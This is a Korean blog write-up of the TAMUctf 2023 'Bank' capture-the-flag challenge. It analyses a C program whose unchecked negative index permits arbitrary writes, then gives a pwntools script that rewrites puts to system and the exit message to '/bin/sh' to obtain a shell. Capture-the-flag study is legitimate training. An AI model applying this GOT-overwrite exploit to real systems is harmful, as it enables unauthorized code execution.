TAMUctf 2023 - Bank

2023. 5. 1. 03:00·CTF/Solved
728x90
반응형

1. intro

 

2. code 및 분석

2.1.  code

#include <stdio.h>

long accounts[100];
char exit_msg[] = "Have a nice day!";

void deposit() {
    int index = 0;
    long amount = 0;
    puts("Enter the number (0-100) of the account you want to deposit in: ");
    scanf("%d", &index);
    puts("Enter the amount you want to deposit: ");
    scanf("%ld", &amount);
    accounts[index] += amount;
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    deposit();
    deposit();
    puts(exit_msg);
}

2.2. 분석

main 함수에서는 deposit 함수를 두번 실행한 뒤 puts 함수와 함께 종료된다.

deposit 함수에서는 값을 두번 입력 받는데

첫번째는 account의 offset으로 사용될 index이고, 두번째는 index 위치의 값에 더해질 값이다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

음수 삽입이 가능하기 때문에 임의 위치를 참조할 수 있다.

3.2. 공격 준비

index 및 amount 모두 음수 값에 대한 검증이 없기 때문에 임의 위치에 임의 값을 쓸 수 있게 된다.

더불어 accounts 변수는 전역변수이기 때문에 got과 인접한 영역에 위치할 것이다.

 

또한 프로그램은 마지막에 puts 함수와 함께 종료되기 때문에 이를 system 함수로 변조하고

exit_msg 변수 또한 전역변수이기에 이를 /bin/sh\00으로 변조하면

system("/bin/sh\00")으로 만들 수 있다.

 

다만 값을 직접적으로 넣는 것이 아니라, 기존 값에 더해지는 형식이기 때문에 조금의 계산이 필요하다.

 

4. exploit

from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="bank")
#p = process('./bank')

system = 0x44af0 
read = 0x71a40
system = -(read-system)

msg = 0x6e20612065766148
sh = 0x0068732f6e69622f

p.sendlineafter(b'in: ','-10'.encode('utf-8'))
p.sendlineafter(b': ',str(sh-msg))

p.sendlineafter(b'in: ','-16'.encode('utf-8'))
p.sendlineafter(b': ',str(system))


p.interactive()
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'CTF > Solved' 카테고리의 다른 글

TJCTF 2023 - pwn/flip-out  (0) 2023.05.29
TJCTF 2023 - pwn/teenage-game  (0) 2023.05.26
TAMUctf 2023 - Randomness  (0) 2023.05.01
TAMUctf 2023 - Pwnme  (0) 2023.05.01
TAMUctf 2023 - Pointer  (0) 2023.05.01
'CTF/Solved' 카테고리의 다른 글
  • TJCTF 2023 - pwn/flip-out
  • TJCTF 2023 - pwn/teenage-game
  • TAMUctf 2023 - Randomness
  • TAMUctf 2023 - Pwnme
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (500) N
      • To do list (7) N
        • Doing (1) N
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (27) N
        • Theory (15)
        • Exercise (5) N
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41) N
        • Solved (39) N
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    64bit
    Format String Bug
    CANARY
    pwnable.kr
    _IO_FILE
    phoenix
    cryptohack
    Buffer Overflow
    docker
    BOF
    pwntools
    RTL
    32bit
    tcache
    la ctf
    libc
    Me
    root-me
    lob
    x64
    x86
    root
    ROOT ME
    FSB
    rop
    exploit education
    vtable
    heap
    dreamhack
    hackerschool
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
TAMUctf 2023 - Bank
상단으로

티스토리툴바